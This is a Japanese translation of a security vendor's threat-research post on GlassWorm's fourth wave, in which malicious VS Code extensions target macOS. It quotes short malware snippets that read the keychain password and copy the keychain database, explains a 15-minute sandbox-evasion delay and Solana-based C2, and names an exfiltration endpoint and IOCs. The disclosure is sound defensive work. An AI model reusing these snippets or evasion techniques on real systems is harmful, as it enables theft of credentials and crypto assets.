GlassWormがMacに進出:新たなインフラと新たな手口

2ヶ月半前、私たちはGlassWormを暴きました。これはVS Code拡張機能を標的とした初の自己増殖型ワームで、不可視のUnicode文字を使って悪意あるコードを隠していました。以来、私たちはこの脅威アクターを3つの波にわたって追跡してきました。不可視Unicodeペイロード、中東の政府機関を含む実際の被害者を明らかにした再来の一撃、そしてコンパイル済みRustバイナリへの転換です。

そして今、再び戻ってきました。ダウンロード数は50,000件に達し、標的プラットフォームはWindowsからmacOSへと切り替わり、インフラは本記事執筆時点で完全に稼働しています。

私たちのリスクエンジンが、Open VSXマーケットプレイスで3つの不審な拡張機能を検知しました。最初はこれまで追跡してきたキャンペーンとの関連性が見えませんでした。しかし、Solanaブロックチェーンを使ったC2の存在に気づき、インフラを辿ったところ、見覚えのあるIPアドレスがその疑いを裏付けました。45.32.151.157――GlassWormの第3波で使われたのと同じC2サーバーです。

Image

10月に私たちが暴いた不可視Unicodeの手口はどうなったのでしょうか。姿を消しました。第3波のRustバイナリも同様に消えています。今回、ペイロードはAES-256-CBCで暗号化され、コンパイル済みJavaScriptに埋め込まれていますが、中核となる仕組みは変わりません。Solanaから現在のC2エンドポイントを取得し、返された内容を実行するというものです。新しいのはその標的で、ハードウェアウォレットアプリケーションをトロイの木馬化したバージョンに差し替えるよう設計されたコードです。

GlassWormのアクターは単に執拗であるだけでなく、進化を続けています。そして今、狙いはあなたのMacに向けられています。

Image

転換点:WindowsからmacOSへ

これが第4波における最大の変化です。これまでのGlassWormの波はすべてWindowsのみを標的としていました。第4波はmacOSのみを標的としています。

なぜこの転換が起きたのでしょうか。

開発者はMacを使っています。特に暗号資産、web3、スタートアップ環境では顕著です。まさにGlassWormが侵害したい被害者層と一致します。攻撃者は魚がいる場所で釣りをしているのです。

これは手抜きの移植ではありません。macOS向けペイロードは目的に合わせて一から作られており、随所にプラットフォーム固有の技術が使われています。

PowerShellの代わりにステルス実行のためのAppleScriptを使用しています。

set keychainPassword to do shell script "security 2>&1 \\
  find-generic-password -s 'pass_users_for_script' -w"

レジストリキーやタスクスケジューラの代わりに永続化にはLaunchAgentsを使用しています。

Image

キーチェーンデータベースの直接窃取も行っています。

readwrite(profile & "/Library/Keychains/login.keychain-db", \\
  writemind & "keychain")

攻撃者はmacOSを熟知しています。これはプロの仕事です。

新たな配布手法:暗号化されたJavaScript

第1波では不可視のUnicode文字が使われました。文字通り、空白の中に隠された描画不可能なコードです。

第3波ではコンパイル済みRustバイナリが使われました。解析にはリバースエンジニアリングが必要なネイティブコードです。

そして第4波では異なる手法が使われています。コンパイル済みJavaScriptに直接埋め込まれたAES-256-CBC暗号化ペイロードです。

pro-svelte-extensionのメインファイルの64行目で、以下のものを発見しました。

Image

このペイロードはハードコードされた鍵とIVで暗号化されています。3つの拡張機能すべてで同じ鍵が使われており、単一のアクターによる犯行であることを裏付けています。しかし、巧妙な点はここにあります。

15分間の遅延です。

コード中の9e5という値は900,000ミリ秒、つまり15分を意味します。

多くの自動サンドボック環境は5分でタイムアウトします。悪意ある処理を実行する前に15分待機することで、このマルウェアは動的解析を完全に回避します。サンドボックスには問題のない拡張機能に見え、審査を通過します。そして開発者がインストールしてから15分後、本当のペイロードが投下されるのです。

これが従来のセキュリティスキャンで検知されなかった理由です。

新たなC2インフラ(一部)

攻撃者は今回の波で新たなSolanaウォレットを使用しています。BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC――過去の波で使われたウォレットとは異なりますが、旧ウォレットも稼働を続けています。

ブロックチェーンを辿ることでインフラの変遷を追跡できます。11月27日には、あるトランザクションが217.69.11.60を指していました。12月までにC2は45.32.151.157へと移行しました。これは第3波でも確認されていたIPアドレスであり、同一アクターであることの根拠となっています。

さらに新たな情報窃取用サーバーとして45.32.150.251も追加されました。

Solanaブロックチェーンを使ったC2の手法自体は変わっていません。攻撃者はbase64エンコードされたURLを含むトランザクションメモを投稿し、マルウェアはブロックチェーンを照会して現在のC2エンドポイントを見つけます。不変で分散化されており、テイクダウンが不可能な仕組みです。

新たな機能:ハードウェアウォレットのトロイの木馬化

第4波が真に危険なのはここからです。

これまでのGlassWormの波は認証情報を盗み、バックドアを仕込むものでした。第4波はそれらすべてに加えて、ハードウェアウォレットアプリケーションをトロイの木馬化したバージョンに差し替えようとします

時系列に関する重要な補足:2025年12月29日時点で私たちが実施したテストでは、トロイの木馬化されたウォレット用のC2サーバーエンドポイントは空のファイルを返していました。このマルウェアには1000バイト未満のファイルのインストールを防ぐファイルサイズ検証機能が組み込まれており、これは防御的なプログラミング上の選択であり、ダウンロードが不完全な場合にウォレットの差し替えが静かに失敗する仕組みになっています。

これは攻撃者がmacOS向けウォレットのトロイの木馬をまだ準備中である可能性、あるいはインフラが移行段階にある可能性を示しています。この機能自体はすでに構築され、稼働準備が整っています。あとはペイロードがアップロードされるのを待つだけです。それ以外の悪意ある機能(認証情報の窃取、キーチェーンへのアクセス、データの外部送信、永続化)はすべて完全に稼働しています。

コードはLedger LiveとTrezor Suiteの両方を検出対象としています。

Image

いずれかが見つかると、マルウェアはトロイの木馬化された代替版をダウンロードし、正規のアプリを削除した上で、悪意あるバージョンをその場所にインストールします。

これは能力面での大きなエスカレーションです。ハードウェアウォレットは本来、暗号資産を保管する最も安全な方法とされています。ユーザーがそれを信頼するのは、署名処理が別デバイス上で行われるためです。しかし、Ledger LiveやTrezor Suiteのアプリケーション自体が侵害されてしまえば、攻撃者は次のようなことが可能になります。

  • 偽の受け取りアドレスを表示する
  • 署名前にトランザクションの内容を改ざんする
  • 「リカバリー」フロー中にシードフレーズを取得する
  • アプリとデバイス間の通信を傍受する

ハードウェアウォレットの安全性は、それを操作するために使うソフトウェアの安全性に依存しているのです。

ファイルサイズ検証のコードからは、攻撃者の細部への配慮がうかがえます。

Image

これは素人仕事ではありません。攻撃者は、被害者に気づかれかねない不完全なインストールを防ぐための整合性チェックをあらかじめ組み込んでいます。トロイの木馬化されたウォレットのペイロードが稼働を開始すれば、インストールはシームレスに行われることになります。

依然として窃取される情報

ハードウェアウォレットのトロイの木馬機能がまだ稼働していない状態でも、このペイロードの被害は甚大です。

暗号資産ウォレット――このマルウェアは、MetaMask、Phantom、Coinbase Wallet、Exodus、Keplr、Solflare、Trust Wallet、Rabbyを含む50種類以上のブラウザ拡張機能ウォレットを標的とします。さらにElectrum、Coinomi、Exodus、Atomic、Ledger Liveのデータ、Trezor Suiteのデータ、Monero、Bitcoin Coreといったデスクトップウォレットも狙います。

開発者の認証情報――VS Codeのストレージやgitの認証情報キャッシュからGitHubトークンを窃取します。.npmrcからNPMトークンを、~/.sshディレクトリ全体を、キャッシュされた認証情報からgitの資格情報を盗み出します。

システムの認証情報――macOSキーチェーンのパスワードと生のデータベースファイル、VPN設定、Chrome・Firefox・Brave・Edgeのブラウザクッキーとローカルストレージも対象です。

これらすべては/tmp/ijewf/にステージングされ、圧縮された上で45.32.150.251/p2pへと外部送信されます。

進化のパターン

ここで一歩引いて、私たちが目にしている状況を整理してみましょう。

第1波(10月17日):OpenVSX拡張機能内の不可視Unicode。Windows中心。C2にはSolanaとGoogleカレンダーを使用。

第2波(11月6日):同じ手法をより多くの拡張機能に適用。私たちは攻撃者のサーバーにアクセスし、中東の政府機関を含む実際の被害者を発見しました。

第3波(11月22日):Unicodeの代わりにRustバイナリを使用。もはや不可視コードではなく、リバースエンジニアリングを要するコンパイル済みネイティブコードとなりました。

第4波(12月19日):プラットフォームをmacOSへ転換。暗号化されたJavaScriptペイロード。新たなSolanaウォレット。ハードウェアウォレットのトロイの木馬化機能を追加。

このパターンは明白です。私たちが手口を暴くたびに、攻撃者は適応してきました。

  • Unicodeの手法が文書化される → Rustバイナリへ切り替え
  • Rustバイナリが解析される → 暗号化JavaScriptへ移行
  • Windows標的であることが判明する → macOSへ転換
  • 認証情報窃取の手口が確立される → ハードウェアウォレットのトロイの木馬機能を追加

これはセキュリティ研究の内容を読み、それに応じてツールを進化させる、活発かつ適応力のある脅威アクターです。共有されているインフラ(45.32.151.157)が同一アクターであることを証明しており、絶え間ない進化がこの脅威が消え去らないことを物語っています。

IOC(侵害指標)

拡張機能ID(open-vsx):

  • studio-velte-distributor.pro-svelte-extension
  • cudra-production.vsce-prettier-pro
  • Puccin-development.full-access-catppuccin-pro-extension

ネットワーク指標:

  • 45.32.151.157 ― 主要C2(第3波と共通)
  • 45.32.150.251 ― 情報窃取用サーバー
  • 217.69.11.60 ― 以前のC2(2025年11月27日)
  • BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC ― Solana C2ウォレット

結び

GlassWormは今やクロスプラットフォームの脅威となりました。

これらの拡張機能は数日間にわたって公開されたままでした。その間に50,000件のダウンロードを積み重ねる一方で、VS Codeマーケットプレイスの自動スキャンは何の異常も検知しませんでした。

これはスキャン機能の失敗というよりも、そのアプローチ自体の限界を示しています。マルウェアが実行までに15分待機する以上、静的解析では常に「問題なし」という結果しか得られません。C2インフラが改ざん不可能なブロックチェーン上に存在する以上、ブラックリストに載せるべきドメインは存在しません。そして攻撃者があなたの研究成果を読み、数週間のうちに新たな手法を投入してくる以上、シグネチャベースの検知は常に一歩遅れをとることになります。

2ヶ月半で4つの波。それぞれが前より高度化しています。問題は第5波が来るかどうかではなく、あなたの開発者がインストールする前にそれを検知できるかどうかです。

本記事はKoi Securityのリサーチチームによって執筆されました。

私たちのリスクエンジン「Wings」は、公開から数時間以内にこれらの拡張機能を検知しました。攻撃者がこれほどのスピードで進化する以上、ソフトウェアサプライチェーン全体にわたる継続的な行動分析が必要不可欠です。

Koiが並のスキャナーでは見逃してしまうものをどう捉えるか、ぜひデモを予約してご確認ください。

皆さまのご安全を心よりお祈りしております。

翻訳元: https://www.koi.ai/blog/glassworm-goes-mac-fresh-infrastructure-new-tricks

ソース: koi.ai